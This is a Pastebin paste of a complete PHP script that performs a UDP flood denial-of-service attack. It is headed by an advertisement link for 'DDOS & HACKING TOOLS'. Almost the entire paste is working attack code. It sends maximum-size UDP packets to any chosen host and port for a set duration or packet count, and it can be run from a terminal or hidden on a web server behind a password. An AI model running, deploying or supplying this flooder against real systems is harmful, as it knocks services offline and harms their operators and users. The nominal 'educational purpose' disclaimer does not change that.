Advertisement
Guest User

DDOS PHP Script

a guest
Nov 20th, 2017
1,270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.75 KB | None | 0 0
  1. DDOS & HACKING TOOLS: http://yabuilder.com/AXYj
  2.  
  3. PHP DDOS script
  4.  
  5. <?php
  6.  
  7. /**
  8.  * Script to perform a DDoS UDP Flood by PHP
  9.  *
  10.  *
  11.  * @package DDoS
  12.  * @link https://github.com/drego85/DDoS-PHP-Script The DDoS UDP flood GitHub project
  13.  * @author Andrea Draghetti (original founder)
  14.  * @author TheZer0
  15.  * @author Smaury
  16.  * @author moty66  
  17.  * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt GPLv2
  18.  *
  19.  * This tool is written on educational purpose, please use it on your own good faith.
  20.  *
  21.  * This program is free software; you can redistribute it and/or
  22.  * modify it under the terms of the GNU General Public License
  23.  * as published by the Free Software Foundation; either version 2
  24.  * of the License, or (at your option) any later version.
  25.  *
  26.  * This program is distributed in the hope that it will be useful,
  27.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  28.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  29.  * GNU General Public License for more details.
  30.  * You should have received a copy of the GNU General Public License
  31.  * along with this program; if not, write to the Free Software
  32.  * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  33.  *
  34.  *
  35.  */
  36.  
  37. // Current version
  38. define('DDOS_VERSION',              '0.2' );
  39.  
  40. // MD5 Password to be used when the script is executed from the webserver, default is "apple"
  41. define('DDOS_PASSWORD',             '1f3870be274f6c49b3e31a0c6728957f' );
  42.  
  43. // Script max execution time
  44. define('DDOS_MAX_EXECUTION_TIME',0);
  45.  
  46. // Default and max packets size
  47. define('DDOS_DEFAULT_PACKET_SIZE',  65000 );
  48. define('DDOS_MAX_PACKET_SIZE',      65000 );
  49.  
  50. // Default byte to send
  51. define('DDOS_DEFAULT_BYTE',"\x00");
  52.  
  53. // Loggin functions
  54. define('DDOS_LOG_DEBUG',            4 );
  55. define('DDOS_LOG_INFO',             3 );
  56. define('DDOS_LOG_NOTICE',           2 );
  57. define('DDOS_LOG_WARNING',          1 );
  58. define('DDOS_LOG_ERROR',            0 );
  59.  
  60. // Output formats
  61. define('DDOS_OUTPUT_FORMAT_JSON',   'json' );
  62. define('DDOS_OUTPUT_FORMAT_TEXT',   'text' );
  63. define('DDOS_OUTPUT_FORMAT_XML',    'xml' );
  64.  
  65. // Output status
  66. define('DDOS_OUTPUT_STATUS_ERROR',  'error' );
  67. define('DDOS_OUTPUT_STATUS_SUCCESS','success' );
  68.  
  69.  
  70.  
  71.  
  72. /**
  73.  * DDoS main class
  74.  *
  75.  * @author moty66
  76.  * @since 0.2
  77.  */
  78. class DDoS {
  79.    
  80.     /**
  81.      * Default parameters
  82.      * @var array
  83.      */
  84.     private $params = array(
  85.             'host' =>   '',
  86.             'port' =>   '',
  87.             'packet' => '',
  88.             'time'  =>  '',
  89.             'pass'  =>  '',
  90.             'bytes' =>  '',
  91.             'verbose'=> DDOS_LOG_INFO,
  92.             'format'=> 'text',
  93.             'output'=> ''
  94.     );
  95.    
  96.    
  97.     /**
  98.      * Log labels
  99.      * @var array
  100.      */
  101.     private $log_labels = array(
  102.             DDOS_LOG_DEBUG => 'debug',
  103.             DDOS_LOG_INFO => 'info',
  104.             DDOS_LOG_NOTICE => 'notice',
  105.             DDOS_LOG_WARNING => 'warning',
  106.             DDOS_LOG_ERROR => 'error'
  107.     );
  108.    
  109.    
  110.     /**
  111.      * Content type to sent in header
  112.      * @var string
  113.      */
  114.     private $content_type = "";
  115.    
  116.    
  117.     /**
  118.      * Output buffer, will be printed later in text,json or xml format
  119.      * @var array
  120.      */
  121.     private $output = array();
  122.    
  123.    
  124.     /**
  125.      * Initializer
  126.      */
  127.     public function __construct($params = array()) {
  128.        
  129.         ob_start();
  130.        
  131.         ini_set('max_execution_time',DDOS_MAX_EXECUTION_TIME);
  132.        
  133.         $this->set_params($params);
  134.        
  135.         $this->set_content_type();
  136.        
  137.         $this->signature();
  138.  
  139.         if(isset($this->params['help'])) {
  140.             $this->usage();
  141.             exit;
  142.         }
  143.        
  144.         $this->validate_params();
  145.  
  146.        
  147.         $this->attack();
  148.        
  149.         $this->print_output();
  150.        
  151.         ob_end_flush();
  152.     }
  153.    
  154.    
  155.     /**
  156.      * Prints the script name and version number
  157.      */
  158.     public function signature() {
  159.         if(DDOS_OUTPUT_FORMAT_TEXT == $this->get_param('format')) {
  160.             $this->println('DDoS UDP Flood script');
  161.             $this->println('version '.DDOS_VERSION);
  162.             $this->println();
  163.         }
  164.     }
  165.    
  166.    
  167.     /**
  168.      * Prints the script usage
  169.      */
  170.     public function usage() {
  171.         $this->println("EXAMPLES:");
  172.         $this->println("from terminal:  php ./".basename(__FILE__)." host=TARGET port=PORT time=SECONDS packet=NUMBER bytes=NUMBER");
  173.         $this->println("from webserver: http://localhost/ddos.php?pass=PASSWORD&host=TARGET&port=PORT&time=SECONDS&packet=NUMBER&bytes=NUMBER");
  174.         $this->println();
  175.         $this->println("PARAMETERS:");
  176.         $this->println("help    Print this help summary page");
  177.         $this->println("host    REQUIRED specify IP or HOSTNAME");
  178.         $this->println("pass    REQUIRED only if used from webserver");
  179.         $this->println("port    OPTIONAL if not specified a random ports will be selected");
  180.         $this->println("time    OPTIONAL seconds to keep the DDoS alive, required if packet is not used");
  181.         $this->println("packet  OPTIONAL number of packets to send to the target, required if time is not used");
  182.         $this->println("bytes   OPTIONAL size of the packet to send, defualt: ".DDOS_DEFAULT_PACKET_SIZE);
  183.         $this->println("format  OPTIONAL output format, (text,json,xml), default: text");
  184.         $this->println("output  OPTIONAL logfile, save the output to file");
  185.         $this->println("verbose OPTIONAL 0: debug, 1:info, 2:notice, 3:warning, 4:error, default: info");
  186.         $this->println();
  187.         $this->println("Note:   If both time and packet are specified, only time will be used");
  188.         $this->println();
  189.         $this->println("More information on https://github.com/drego85/DDoS-PHP-Script");
  190.         $this->println();
  191.     }
  192.    
  193.    
  194.     /**
  195.      * Start the UDP flood attack
  196.      * TODO Rewrite the attack code, need to remove the double loop and to find a system to
  197.      *      print out a progress bar when we are in text mode
  198.      */
  199.     private function attack(){
  200.        
  201.         $packets = 0;
  202.         $message = str_repeat(DDOS_DEFAULT_BYTE, $this->get_param('bytes'));
  203.        
  204.         $this->log('DDos UDP flood started');
  205.        
  206.         // Time based attack
  207.         if($this->get_param('time')) {
  208.            
  209.             $exec_time = $this->get_param('time');
  210.             $max_time = time() + $exec_time;
  211.        
  212.             while(time() < $max_time){
  213.                 $packets++;
  214.                 $this->log('Sending packet #'.$packets,DDOS_LOG_DEBUG);
  215.                 $this->udp_connect($this->get_param('host'),$this->get_param('port'),$message);
  216.             }
  217.             $timeStr = $exec_time. ' second';
  218.             if(1 != $exec_time) {
  219.                 $timeStr .= 's';
  220.             }
  221.         }
  222.         // Packet number based attack
  223.         else {
  224.             $max_packet = $this->get_param('packet');
  225.             $start_time=time();
  226.        
  227.             while($packets < $max_packet){
  228.                 $packets++;
  229.                 $this->log('Sending packet #'.$packets,DDOS_LOG_DEBUG);
  230.                 $this->udp_connect($this->get_param('host'),$this->get_param('port'),$message);
  231.             }
  232.             $exec_time = time() - $start_time;
  233.        
  234.             // If the script end before 1 sec, all the packets were sent in 1 sec
  235.             if($exec_time <= 1){
  236.                 $exec_time=1;
  237.                 $timeStr = 'about a second';
  238.             }
  239.             else {
  240.                 $timeStr = 'about ' . $exec_time . ' seconds';
  241.             }
  242.         }
  243.        
  244.         $this->log("DDoS UDP flood completed");
  245.        
  246.         $data = $this->params;
  247.        
  248.         // We don't need to send pass, packets and time as data for json and xml, ad we are sending the total
  249.         unset($data['pass']);
  250.         unset($data['packet']);
  251.         unset($data['time']);
  252.        
  253.         $data['port'] = 0 == $data['port'] ? 'Radom ports' : $data['port'];
  254.         $data['total_packets'] = $packets;
  255.         $data['total_size'] = $this->format_bytes($packets*$data['bytes']);
  256.         $data['duration'] = $timeStr;
  257.         $data['average'] = round($packets/$exec_time, 2);
  258.        
  259.         $this->set_output('UDP flood completed', DDOS_OUTPUT_STATUS_SUCCESS,$data);
  260.        
  261.         $this->print_output();
  262.        
  263.         exit;
  264.     }
  265.    
  266.    
  267.  
  268.     /**
  269.      * UDP Connect
  270.      * @param string    $h Host name or ip address
  271.      * @param integer   $p Port number, if the port is 0 then a random port will be used
  272.      * @param string    $out Data to send
  273.      * @return boolean  True if the packet was sent
  274.      */
  275.     private function udp_connect($h,$p,$out){
  276.        
  277.         if(0 == $p) {
  278.             $p = rand(1,rand(1,65535));
  279.         }
  280.  
  281.         $this->log("Trying to open socket udp://$h:$p",DDOS_LOG_DEBUG);
  282.         $fp = @fsockopen('udp://'.$h, $p, $errno, $errstr, 30);
  283.    
  284.         if(!$fp) {
  285.             $this->log("UDP socket error: $errstr ($errno)",DDOS_LOG_DEBUG);
  286.             $ret = false;
  287.         }
  288.         else {
  289.             $this->log("Socket opened with $h on port $p",DDOS_LOG_DEBUG);
  290.             if(!@fwrite($fp, $out)) {
  291.                 $this->log("Error during sending data",DDOS_LOG_ERROR);
  292.             }
  293.             else {
  294.                 $this->log("Data sent successfully",DDOS_LOG_DEBUG);
  295.             }
  296.             @fclose($fp);
  297.             $ret = true;
  298.             $this->log("Closing socket udp://$h:$p",DDOS_LOG_DEBUG);
  299.         }
  300.    
  301.         return $ret;
  302.     }
  303.    
  304.    
  305.    
  306.     /**
  307.      * Parse parameters from argv, post or get
  308.      * @todo Remove setting params from this method, let do it outside the class
  309.      */
  310.     private function set_params($params = array()) {
  311.        
  312.         $original_params = array_keys($this->params);
  313.         $original_params[] = 'help';
  314.        
  315.         foreach($params as $key => $value) {
  316.             if(!in_array($key, $original_params)) {
  317.                 $this->set_output("Unknown param $key", DDOS_OUTPUT_STATUS_ERROR);
  318.                 $this->print_output();
  319.                 exit(1);
  320.             }
  321.             $this->set_param($key, $value);
  322.         }
  323.     }
  324.    
  325.     /**
  326.      * Validate and santize the parameters
  327.      */
  328.     private function validate_params() {
  329.        
  330.         // Password for web users
  331.         if(!$this->is_cli() && md5($this->get_param('pass')) !== DDOS_PASSWORD) {
  332.             $this->set_output("Wrong password", DDOS_OUTPUT_STATUS_ERROR);
  333.             $this->print_output();
  334.             exit(1);
  335.         }
  336.         elseif(!$this->is_cli()) {
  337.             $this->log('Password accepted');
  338.         }
  339.        
  340.         if(!$this->is_valid_target($this->get_param('host'))) {
  341.             $this->set_output("Invalid host", DDOS_OUTPUT_STATUS_ERROR);
  342.             $this->print_output();
  343.             exit(1);
  344.         }
  345.         else {
  346.             $this->log("Setting host to " . $this->get_param('host'));
  347.         }
  348.         if("" != $this->get_param('port') && !$this->is_valid_port($this->get_param('port'))) {
  349.             $this->log("Invalid port", DDOS_LOG_WARNING);
  350.             $this->log("Setting port to random",DDOS_LOG_NOTICE);
  351.             $this->set_param('port', 0);
  352.         }
  353.         else {
  354.             $this->log("Setting port to ".$this->get_param('port'));
  355.         }
  356.        
  357.         if(is_numeric($this->get_param('bytes')) && 0 < $this->get_param('bytes')) {
  358.             if(DDOS_MAX_PACKET_SIZE < $this->get_param('bytes')) {
  359.                 $this->log("Packet size exceeds the max size", DDOS_LOG_WARNING);
  360.             }
  361.             $this->set_param('bytes',min($this->get_param('bytes'),DDOS_MAX_PACKET_SIZE));
  362.             $this->log("Setting packet size to ". $this->format_bytes($this->get_param('bytes')));
  363.         }
  364.         else {
  365.             $this->log("Setting packet size to ".$this->format_bytes(DDOS_DEFAULT_PACKET_SIZE),DDOS_LOG_NOTICE);
  366.             $this->set_param('bytes',DDOS_DEFAULT_PACKET_SIZE);
  367.         }
  368.        
  369.         if(!is_numeric($this->get_param('time')) && !is_numeric($this->get_param('packet'))) {
  370.             $this->set_output("Missing parameter time or packet", DDOS_OUTPUT_STATUS_ERROR);
  371.             $this->print_output();
  372.             exit(1);
  373.         }
  374.         else {
  375.             // Just to be sure that users does not submit a wrong time "example: a,-1" and correct packet
  376.             $this->set_param('time', abs(intval($this->get_param('time'))));
  377.             $this->set_param('packet', abs(intval($this->get_param('packet'))));
  378.         }
  379.        
  380.         if('' != $this->get_param('output')) {
  381.             $this->log("Setting log file to " .$this->get_param('output'),DDOS_LOG_INFO);
  382.         }
  383.        
  384.     }
  385.    
  386.    
  387.     /**
  388.      * Returns a param
  389.      * @param   string  $param name of the parameter
  390.      * @return  string|null Value of the parameter or null if not exsist
  391.      */
  392.     public function get_param($param) {
  393.         return isset($this->params[$param]) ? $this->params[$param] : null;
  394.     }
  395.    
  396.     /**
  397.      * Add a parameter
  398.      * @param string    $param
  399.      * @param mixed     $value
  400.      */
  401.     private function set_param($param,$value) {
  402.        
  403.         $this->params[$param] = $value;
  404.     }
  405.    
  406.     /**
  407.      * Set the content type for each output format
  408.      */
  409.     private function set_content_type() {
  410.        
  411.         // Set the content type headers only for web
  412.         if($this->is_cli()) {
  413.             return;
  414.         }
  415.        
  416.         switch($this->get_param('output')) {
  417.             case DDOS_OUTPUT_FORMAT_JSON : {
  418.                 $this->content_type = "application/json; charset=utf-8;";
  419.                 break;
  420.             }
  421.             case DDOS_OUTPUT_FORMAT_XML : {
  422.                 $this->content_type = "application/xml; charset=utf-8;";
  423.                 break;
  424.             }
  425.             default : {
  426.                 $this->content_type = "text/plain; charset=utf-8;";
  427.                 break;
  428.             }
  429.         }
  430.        
  431.         header("Content-Type: ". $this->content_type);
  432.         $this->log('Setting Content-Type header to ' . $this->content_type, DDOS_LOG_DEBUG);
  433.     }
  434.    
  435.    
  436.     /**
  437.      * Check if we are running the script from terminal or from a web server
  438.      * @return boolean True if sapi name is cli
  439.      */
  440.     public static function is_cli() {
  441.         return php_sapi_name() == 'cli';
  442.     }
  443.    
  444.  
  445.     /**
  446.      * Get random port number
  447.      * @return number
  448.      */
  449.     public function get_random_port() {
  450.         return rand(1,65535);
  451.     }
  452.    
  453.    
  454.     /**
  455.      * Check if the port is valid
  456.      * @param   integer     $port
  457.      * @return  integer     Port number or 0 if invalid
  458.      */
  459.     function is_valid_port($port = 0){
  460.         return ($port >= 1 &&  $port <= 65535) ? $port : 0;
  461.     }
  462.    
  463.    
  464.     /**
  465.      * Check if the host name or the ip address are valid
  466.      * @see https://en.wikipedia.org/wiki/Hostname
  467.      * @param string $target
  468.      * @return boolean
  469.      */
  470.     function is_valid_target($target) {
  471.         return  (   //valid chars check
  472.                 preg_match("/^([a-z\d](-*[a-z\d])*)(\.([a-z\d](-*[a-z\d])*))*$/i", $target)
  473.                 //overall length check
  474.                 &&  preg_match("/^.{1,253}$/", $target)
  475.                 // Validate each label
  476.                 &&  preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})*$/", $target)
  477.         )
  478.         ||  filter_var($target, FILTER_VALIDATE_IP);
  479.     }
  480.    
  481.    
  482.     /**
  483.      * Convert from bytes to human readable size
  484.      * @param integer $bytes
  485.      * @param integer $precision Default:2
  486.      * @return string
  487.      */
  488.     function format_bytes($bytes, $dec = 2) {
  489.         // exaggerating :)
  490.         $size   = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
  491.         $factor = floor((strlen($bytes) - 1) / 3);
  492.         return sprintf("%.{$dec}f", $bytes / pow(1024, $factor)) . @$size[$factor];
  493.     }
  494.    
  495.    
  496.     /**
  497.      * Prepare the output data. to be printed in the correct format later
  498.      * @param string    $message
  499.      * @param integer   $code
  500.      * @param mixed     $data
  501.      */
  502.     private function set_output($message, $code, $data = null) {
  503.        
  504.         $this->output= array("status" =>$code,"message" => $message);
  505.         if(null != $data) {
  506.             $this->output['data'] = $data;
  507.         }
  508.     }
  509.    
  510.     /**
  511.      * Print the output of the script
  512.      */
  513.     private function print_output() {
  514.         switch($this->get_param('format')) {
  515.             case DDOS_OUTPUT_FORMAT_JSON: {
  516.                 echo json_encode($this->output);   
  517.                 break;
  518.             }
  519.            
  520.             case DDOS_OUTPUT_FORMAT_XML: {
  521.                 $xml = new SimpleXMLElement('<root/>');
  522.                 array_walk_recursive($this->output, function($value, $key)use($xml){
  523.                     $xml->addChild($key, $value);
  524.                 });
  525.                 print $xml->asXML();
  526.                 break;
  527.             }
  528.            
  529.             default: {
  530.                 $this->println();
  531.                 array_walk_recursive($this->output, function($value, $key) {
  532.                     $this->println($key .': ' . $value);
  533.                 });
  534.             }
  535.         }
  536.     }
  537.    
  538.     /**
  539.      * Logging system, very useful for debugging
  540.      *
  541.      * @param string    $message    Message
  542.      * @param integer   $code       Log code
  543.      */
  544.     private function log($message,$code = DDOS_LOG_INFO) {
  545.         if($code <= $this->get_param('verbose') && $this->get_param('format') == DDOS_OUTPUT_FORMAT_TEXT) {
  546.             $this->println('['.$this->log_labels[$code] . '] ' . $message);
  547.         }
  548.     }
  549.    
  550.     /**
  551.      * Save output to file
  552.      * @param unknown $message
  553.      */
  554.     private function log_to_file($message) {
  555.         if('' != $this->get_param('output')) {
  556.             file_put_contents($this->get_param('output'), $message, FILE_APPEND | LOCK_EX);
  557.         }  
  558.     }
  559.    
  560.    
  561.     /**
  562.      * Prints a message with a carriage return
  563.      * @param string    $message Message to print
  564.      * @param integer   $indent Number of tabs to print before the message
  565.      */
  566.     private function println($message = '') {
  567.         echo $message . "\n";
  568.         $this->log_to_file($message . "\n");
  569.         ob_flush();
  570.         flush();
  571.     }
  572. }
  573.  
  574.  
  575.  
  576. $params = array();
  577. if(DDoS::is_cli()) {
  578.     global $argv;
  579.     parse_str(implode('&', array_slice($argv, 1)), $params);
  580. }
  581. elseif(!empty($_POST)) {
  582.     foreach($_POST as $index => $value) {
  583.         $params[$index] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
  584.     }
  585. }
  586. elseif(!empty($_GET['host'])) {
  587.     foreach($_GET as $index => $value) {
  588.         $params[$index] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
  589.     }
  590. }
  591.  
  592.  
  593. $ddos = new DDoS($params);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement